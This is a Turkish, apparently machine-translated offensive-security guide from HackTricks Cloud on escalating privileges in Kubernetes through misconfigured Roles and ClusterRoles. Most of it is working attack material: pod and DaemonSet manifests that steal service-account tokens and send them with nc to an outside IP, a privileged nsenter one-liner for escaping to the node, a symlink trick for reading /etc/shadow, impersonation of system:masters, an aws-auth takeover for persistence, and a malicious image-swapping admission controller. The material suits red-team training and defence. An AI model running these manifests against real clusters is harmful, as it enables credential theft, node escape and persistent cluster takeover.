Abusing Roles/ClusterRoles in Kubernetes

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!
💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Burada bazı potansiyel olarak tehlikeli Roller ve ClusterRoller yapılandırmalarını bulabilirsiniz. Desteklenen tüm kaynakları kubectl api-resources ile alabileceğinizi unutmayın.

Ayrıcalık Yükseltme

Küme içinde farklı ayrıcalıklara sahip farklı bir prensibe erişim sağlama sanatı olarak tanımlanır (kubernetes kümesi içinde veya dış bulutlara) ve Kubernetes'te temelde ayrıcalıkları yükseltmek için 4 ana teknik vardır:

Kubernetes kümesi içinde veya dış bulutlarda daha iyi ayrıcalıklara sahip diğer kullanıcılar/gruplar/SAs ile taklit edebilme
Kubernetes kümesi içinde veya dış bulutlarda daha iyi ayrıcalıklara sahip SAs ile bulabileceğiniz veya ekleyebileceğiniz podlar oluşturma/yamanlama/çalıştırma
SAs token'larının gizli olarak saklandığı için gizli bilgileri okuma
Bir konteynerden düğüme kaçabilme, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı buluttaki düğümün izinlerini çalabilirsiniz (varsa)
Anılması gereken beşinci bir teknik, bir podda port-forward çalıştırma yeteneğidir, çünkü bu pod içinde ilginç kaynaklara erişim sağlayabilirsiniz.

Herhangi Bir Kaynağa veya Fiile Erişim (Wildcard)

wildcard (*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i kötüye kullanabileceği anlamına gelir.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Belirli bir fiil ile Herhangi bir Kaynağa Erişim

RBAC'de, belirli izinler önemli riskler taşır:

create: Herhangi bir küme kaynağı oluşturma yetkisi verir, ayrıcalık yükselmesi riski taşır.
list: Tüm kaynakları listeleme izni verir, hassas verilerin sızdırılma potansiyeli vardır.
get: Hizmet hesaplarından gizli bilgilere erişim izni verir, güvenlik tehdidi oluşturur.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Oluştur - Token Çal

Pod oluşturma izinlerine sahip bir saldırgan, pod'a ayrıcalıklı bir Hizmet Hesabı ekleyebilir ve Hizmet Hesabı'nı taklit etmek için token'ı çalabilir. Böylece, ayrıcalıkları etkili bir şekilde artırmış olur.

bootstrap-signer hizmet hesabının token'ını çalacak ve bunu saldırgana gönderecek bir pod örneği:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Oluşturma ve Kaçış

Aşağıda bir konteynerin sahip olabileceği tüm ayrıcalıklar belirtilmiştir:

Ayrıcalıklı erişim (korumaları devre dışı bırakma ve yetenekleri ayarlama)
hostIPC ve hostPid ad alanlarını devre dışı bırakma bu, ayrıcalıkları artırmaya yardımcı olabilir
hostNetwork ad alanını devre dışı bırakma, düğümlerin bulut ayrıcalıklarını çalma ve ağlara daha iyi erişim sağlama
Konteyner içinde / ana bilgisayarları bağlama

super_privs.yaml

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Pod'u oluşturun:

kubectl --token $token create -f mount_root.yaml

Tek satırlık bu tweet ve bazı eklemelerle:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Şimdi node'a kaçabildiğinize göre, istismar sonrası tekniklere göz atın:

Gizlilik

Muhtemelen daha gizli olmak istiyorsunuz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı ayrıcalıkları etkinleştirerek bir pod oluşturursanız neleri erişebileceğinizi görebilirsiniz:

Ayrıcalıklı + hostPID
Sadece ayrıcalıklı
hostPath
hostPID
hostNetwork
hostIPC

Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturacağınız/istismar edeceğinizle ilgili örnekleri https://github.com/BishopFox/badPods adresinde bulabilirsiniz.

Pod Oluştur - Buluta Taşı

Eğer bir pod (ve isteğe bağlı olarak bir hizmet hesabı) oluşturabiliyorsanız, bir pod'a veya hizmet hesabına bulut rolleri atayarak bulut ortamında ayrıcalık elde etme şansınız olabilir ve ardından buna erişebilirsiniz. Ayrıca, host network namespace ile bir pod oluşturabiliyorsanız, node örneğinin IAM rolünü ç steal edebilirsiniz.

Daha fazla bilgi için kontrol edin:

Pod Escape Privileges

Deployment, Daemonset, Statefulset, Replicationcontroller, Replicaset, Job ve Cronjob Oluştur/Düzelt

Bu izinleri istismar ederek yeni bir pod oluşturmak ve önceki örnekte olduğu gibi ayrıcalıklar elde etmek mümkündür.

Aşağıdaki yaml bir daemonset oluşturur ve pod içindeki SA'nın token'ını dışarı aktarır:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec kubernetes'te bir pod içinde bir shell'de komut çalıştırmak için kullanılan bir kaynaktır. Bu, konteynerler içinde komut çalıştırmaya veya bir shell'e girmeye olanak tanır.

Bu nedenle, bir pod'a girmek ve SA'nın token'ını çalmak veya ayrıcalıklı bir pod'a girmek, düğüme kaçmak ve düğümdeki tüm pod'ların token'larını çalmak ve (kötüye) kullanmak mümkündür:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Bu izin, bir yerel portu belirtilen pod'daki bir porta yönlendirmeye olanak tanır. Bu, bir pod içinde çalışan uygulamaları kolayca hata ayıklamak için tasarlanmıştır, ancak bir saldırgan bunu, bir pod içindeki ilginç (örneğin DB'ler) veya savunmasız uygulamalara (webler?) erişim sağlamak için kötüye kullanabilir:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Kaçış

As bu araştırmada belirtilmiştir, eğer hosts /var/log/ dizini montelenmiş bir pod'a erişebilir veya oluşturabilirseniz, konteynerden kaçabilirsiniz. Bu, esasen Kube-API bir konteynerin loglarını almaya çalıştığında ( kubectl logs <pod> kullanarak), pod'un 0.log dosyasını Kubelet servisinin /logs/ uç noktası aracılığıyla talep etmesindendir. Kubelet servisi, temelde konteynerin /var/log dosya sistemini açığa çıkaran /logs/ uç noktasını sunar.

Bu nedenle, konteynerin /var/log/ klasörüne yazma erişimi olan bir saldırgan bu davranışları 2 şekilde kötüye kullanabilir:

Konteynerinin 0.log dosyasını (genellikle /var/logs/pods/namespace_pod_uid/container/0.log konumunda bulunur) örneğin /etc/shadow'a işaret eden bir symlink olacak şekilde değiştirmek. Ardından, hosts shadow dosyasını dışarıya aktarabileceksiniz:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

Eğer saldırgan, nodes/log'u okuma izinlerine sahip herhangi bir yetkiliyi kontrol ediyorsa, /host-mounted/var/log/sym içinde /'ye bir symlink oluşturabilir ve https://<gateway>:10250/logs/sym/ adresine eriştiğinde, ana bilgisayarın kök dosya sistemini listeleyecektir (symlink'i değiştirmek dosyalara erişim sağlayabilir).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Bir laboratuvar ve otomatik istismar https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts adresinde bulunabilir.

readOnly korumasını aşma

Eğer şanslıysanız ve yüksek ayrıcalıklı yetenek CAP_SYS_ADMIN mevcutsa, klasörü rw olarak yeniden monte edebilirsiniz:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Bu araştırmada belirtildiği gibi, korumayı aşmak mümkündür:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Bu, önceki gibi kaçışları önlemek için, bir hostPath montajı kullanmak yerine, bir PersistentVolume ve bir PersistentVolumeClaim kullanarak bir ana bilgisayar klasörünü konteynerde yazılabilir erişimle monte etmeyi amaçlıyordu:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Ayrıcalıklı hesapları taklit etme

Bir kullanıcı taklit etme ayrıcalığı ile, bir saldırgan ayrıcalıklı bir hesabı taklit edebilir.

Bir kullanıcıyı taklit etmek için kubectl komutunda --as=<username> parametresini veya bir grubu taklit etmek için --as-group=<group> parametresini kullanın:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ya da REST API'sini kullanın:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Gizli Anahtarları Listeleme

Gizli anahtarları listeleme izni, bir saldırganın aslında gizli anahtarları okumasına izin verebilir REST API uç noktasına erişerek:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Bir sırrı okuma – token ID'lerini brute-force ile kırma

Okuma izinlerine sahip bir token'a sahip bir saldırgan, bunu kullanmak için sırrın tam adını gerektirirken, daha geniş sırları listeleme ayrıcalığının aksine, hala zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir sır ile ilişkilidir. Bu sırların bir ad yapısı vardır: statik bir ön ekin ardından belirli karakterler hariç rastgele beş karakterli alfanümerik bir token gelir kaynak koduna göre.

Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (bcdfghjklmnpqrstvwxz2456789) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir saldırgan, token'ı birkaç saat içinde çözmek için makul bir şekilde bir brute-force saldırısı gerçekleştirebilir ve bu da hassas hizmet hesaplarına erişim ile ayrıcalık yükselmesine yol açabilir.

Sertifika İmzalama Talepleri

Eğer certificatesigningrequests kaynağında create fiillerine (veya en azından certificatesigningrequests/nodeClient içinde) sahipseniz, yeni bir düğüm için yeni bir CeSR oluşturabilirsiniz.

Belgelerine göre, bu talepleri otomatik olarak onaylamak mümkündür, bu durumda ek izinlere ihtiyacınız yoktur. Aksi takdirde, talebi onaylayabilmeniz gerekir, bu da certificatesigningrequests/approval içinde güncelleme ve signers içinde approve anlamına gelir; resourceName <signerNameDomain>/<signerNamePath> veya <signerNameDomain>/* olmalıdır.

Gerekli tüm izinlere sahip bir rol örneği:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Yeni node CSR onaylandığında, node'ların özel izinlerini istismar ederek gizli bilgileri çalabilir ve yetkileri artırabilirsiniz.

bu yazıda ve şu yazıda GKE K8s TLS Bootstrap yapılandırması otomatik imzalama ile yapılandırılmıştır ve bu, yeni bir K8s Node'un kimlik bilgilerini oluşturmak için istismar edilmekte ve ardından bu kimlik bilgileri kullanılarak gizli bilgileri çalarak yetkilerin artırılması sağlanmaktadır. Eğer belirtilen yetkilere sahipseniz aynı şeyi yapabilirsiniz. İlk örneğin, yeni bir node'un konteynerler içindeki gizli bilgilere erişimini engelleyen hatayı aştığını unutmayın çünkü bir node yalnızca üzerine monte edilmiş konteynerlerin gizli bilgilerine erişebilir.

Bunu aşmanın yolu, ilginç gizli bilgilerin monte edildiği konteynerin bulunduğu node adı için bir node kimlik bilgisi oluşturmaktır (ama bunu nasıl yapacağınızı ilk yazıda kontrol edin):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS (AWS'de olmalı) kümelerinde kube-system ad alanındaki configmaps'leri değiştirebilen ilkeler, aws-auth configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir. Gerekli fiiller update ve patch'tir, veya configmap oluşturulmadıysa create'dir:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

aws-auth kullanarak kalıcılık sağlayabilir ve diğer hesaplardan kullanıcılara erişim verebilirsiniz.

Ancak, aws --profile other_account eks update-kubeconfig --name <cluster-name> farklı bir hesapta çalışmaz. Ama aslında aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing çalışır, eğer sadece ismin yerine küme ARN'sini koyarsanız. kubectl'in çalışması için, sadece kurbanın kubeconfig'ini yapılandırdığınızdan emin olun ve aws exec argümanlarına --profile other_account_role ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesap profilini kullanacaktır.

GKE'de Yükseltme

GCP ilkelerine K8s izinleri atamanın 2 yolu vardır. Her durumda, ilkenin kümeye erişim sağlamak için container.clusters.get iznine de ihtiyacı vardır, aksi takdirde kendi kubectl yapılandırma dosyanızı oluşturmanız gerekecektir (bir sonraki bağlantıyı takip edin).

K8s api uç noktasıyla konuşurken, GCP kimlik doğrulama token'ı gönderilecektir. Ardından, GCP, K8s api uç noktası aracılığıyla, önce ilkenin (e-posta ile) kümeye erişimi olup olmadığını kontrol edecektir, ardından GCP IAM aracılığıyla herhangi bir erişimi olup olmadığını kontrol edecektir. Eğer bu durumlardan herhangi biri doğruysa, yanıt verilecektir. Eğer değilse, GCP IAM aracılığıyla izinler verilmesi öneren bir hata verilecektir.

İlk yöntem GCP IAM kullanmaktır, K8s izinlerinin eşdeğer GCP IAM izinleri vardır ve eğer ilke bu izinlere sahipse, bunu kullanabilecektir.

GCP - Container Privesc

İkinci yöntem, kümeye içindeki K8s izinlerini atamak ve kullanıcıyı e-posta ile tanımlamaktır (GCP hizmet hesapları dahil).

Serviceaccounts token oluşturma

TokenRequests (serviceaccounts/token) oluşturabilen ilkeler K8s api uç noktasıyla konuşurken SAs (bilgi buradan).

ephemeralcontainers

update veya patch pods/ephemeralcontainers üzerinde yetkisi olan ilkeler, diğer pod'larda kod çalıştırma yeteneğine sahip olabilir ve ayrıcalıklı bir securityContext ile geçici bir konteyner ekleyerek düğümden çıkabilir.

ValidatingWebhookConfigurations veya MutatingWebhookConfigurations

validatingwebhookconfigurations veya mutatingwebhookconfigurations üzerinde create, update veya patch fiillerinden herhangi birine sahip olan ilkeler, bu tür bir webhookconfigurations oluşturma yeteneğine sahip olabilirler, böylece yetkileri yükseltebilirler.

mutatingwebhookconfigurations örneği için bu gönderinin bu bölümüne bakın.

Yükseltme

Sonraki bölümde okuyabileceğiniz gibi: Yerleşik Ayrıcalık Yükseltme Önleme, bir ilke, kendisi bu yeni izinlere sahip olmadan ne rol ne de clusterrole güncelleyemez veya oluşturamaz. Ancak roles veya clusterroles üzerinde escalate fiiline sahipse, yeni roller, clusterrole'ler güncelleyebilir veya oluşturabilir.

Düğüm proxy

nodes/proxy alt kaynağına erişimi olan ilkeler, Kubelet API aracılığıyla pod'larda kod çalıştırabilir (buna göre bu). Kubelet kimlik doğrulaması hakkında daha fazla bilgi bu sayfada:

Kubelet Authentication & Authorization

Yetkilendirilmiş bir Kubelet API ile RCE elde etme örneğini burada bulabilirsiniz.

Pod'ları silme + planlanamayan düğümler

Pod'ları silebilen (delete fiili pods kaynağı üzerinde), veya pod'ları tahliye edebilen (create fiili pods/eviction kaynağı üzerinde), veya pod durumunu değiştirebilen (access to pods/status) ve diğer düğümleri planlanamaz hale getirebilen (access to nodes/status) veya düğümleri silebilen (delete fiili nodes kaynağı üzerinde) ve bir pod üzerinde kontrolü olan ilkeler, diğer düğümlerden pod çalabilir böylece bunlar ele geçirilmiş düğümde çalıştırılır ve saldırgan bu pod'lardan token'ları çalabilir.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hizmetler durumu (CVE-2020-8554)

services/status'u değiştirebilen yetkililer, düzeltilememiş CVE-2020-8554'ü istismar etmek ve MiTM saldırıları başlatmak için status.loadBalancer.ingress.ip alanını ayarlayabilir. CVE-2020-8554 için çoğu önlem, yalnızca ExternalIP hizmetlerini engellemektedir (bkz. bu).

Düğümler ve Podlar durumu

nodes/status veya pods/status üzerinde update veya patch izinlerine sahip yetkililer, uygulanan zamanlama kısıtlamalarını etkilemek için etiketleri değiştirebilir.

Yerleşik Ayrıcalık Yükseltme Önleme

Kubernetes, ayrıcalık yükseltmeyi önlemek için yerleşik bir mekanizma sunar.

Bu sistem, kullanıcıların roller veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını engeller. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olsa bile bir koruma sağlar.

Kural, bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ClusterRoles için küme genelinde veya Roles için aynı ad alanına (veya küme genelinde) sınırlı olmalıdır.

Önceki kuralda bir istisna vardır. Eğer bir yetkili roles veya clusterroles üzerinde escalate fiiline sahipse, izinlere sahip olmadan bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir.

RoleBindings/ClusterRoleBindings Al & Patch

Görünüşe göre bu teknik daha önce çalışıyordu, ancak testlerime göre önceki bölümde açıklanan aynı nedenle artık çalışmıyor. Eğer zaten izinleriniz yoksa, kendinize veya farklı bir SA'ya bazı ayrıcalıklar vermek için bir rolebinding oluşturamaz/değiştiremezsiniz.

Rolebinding oluşturma ayrıcalığı, bir kullanıcının rolleri bir hizmet hesabına bağlamasına olanak tanır. Bu ayrıcalık, kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına neden olabileceğinden, potansiyel olarak ayrıcalık yükseltmeye yol açabilir.

Diğer Saldırılar

Sidecar proxy uygulaması

Varsayılan olarak, podlar arasındaki iletişimde herhangi bir şifreleme yoktur. Karşılıklı kimlik doğrulama, iki yönlü, poddan poda.

Bir sidecar proxy uygulaması oluşturun

.yaml dosyanızı oluşturun.

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

YAML dosyanızı düzenleyin ve yorum satırlarını ekleyin:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Proxy'nin loglarını görüntüleyin:

kubectl logs app -C proxy

Daha fazla bilgi için: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Kötü Amaçlı Kabul Kontrolörü

Bir kabul kontrolörü, nesnenin kalıcı hale gelmesinden önce Kubernetes API sunucusuna yapılan istekleri yakalar, ancak istek kimlik doğrulandıktan ve yetkilendirildikten sonra.

Eğer bir saldırgan bir şekilde bir Mutationg Admission Controller enjekte etmeyi başarırsa, zaten kimlik doğrulanmış istekleri değiştirme yeteneğine sahip olacaktır. Potansiyel olarak privesc yapabilme ve genellikle kümede kalıcı olma imkanı sağlar.

Örnek https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Durumunu kontrol et ve hazır olup olmadığını gör:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Sonra yeni bir pod dağıtın:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull hatasını gördüğünüzde, görüntü adını aşağıdaki sorgulardan biriyle kontrol edin:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Yukarıdaki resimde görebileceğiniz gibi, nginx imajını çalıştırmaya çalıştık ama son çalıştırılan imaj rewanthtammana/malicious-image. Ne oldu böyle!!?

Teknik Detaylar

./deploy.sh betiği, yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutasyona uğratan webhook admission controller'ı kurar ve gözlemlenen sonuçları etkiler:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

En İyi Uygulamalar

Hizmet Hesabı Token'larının Automount'unu Devre Dışı Bırakma

Podlar ve Hizmet Hesapları: Varsayılan olarak, podlar bir hizmet hesabı token'ı monte eder. Güvenliği artırmak için, Kubernetes bu automount özelliğinin devre dışı bırakılmasına izin verir.
Nasıl Uygulanır: Kubernetes sürüm 1.6'dan itibaren hizmet hesapları veya podların yapılandırmasında automountServiceAccountToken: false ayarını yapın.

RoleBindings/ClusterRoleBindings'de Kısıtlayıcı Kullanıcı Ataması

Seçici Dahil Etme: Sadece gerekli kullanıcıların RoleBindings veya ClusterRoleBindings'e dahil edildiğinden emin olun. Düzenli olarak denetim yapın ve alakasız kullanıcıları kaldırarak güvenliği sıkı tutun.

Namespace'a Özel Roller Üzerine Cluster Genel Roller

Roller vs. ClusterRoller: Namespace'a özel izinler için ClusterRoles ve ClusterRoleBindings yerine Roller ve RoleBindings kullanmayı tercih edin. Bu yaklaşım daha ince bir kontrol sunar ve izinlerin kapsamını sınırlar.

Otomatik Araçlar Kullanın

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissionsGitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clustersGitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes BenchmarkGitHub

Referanslar

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!
💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated 8 days ago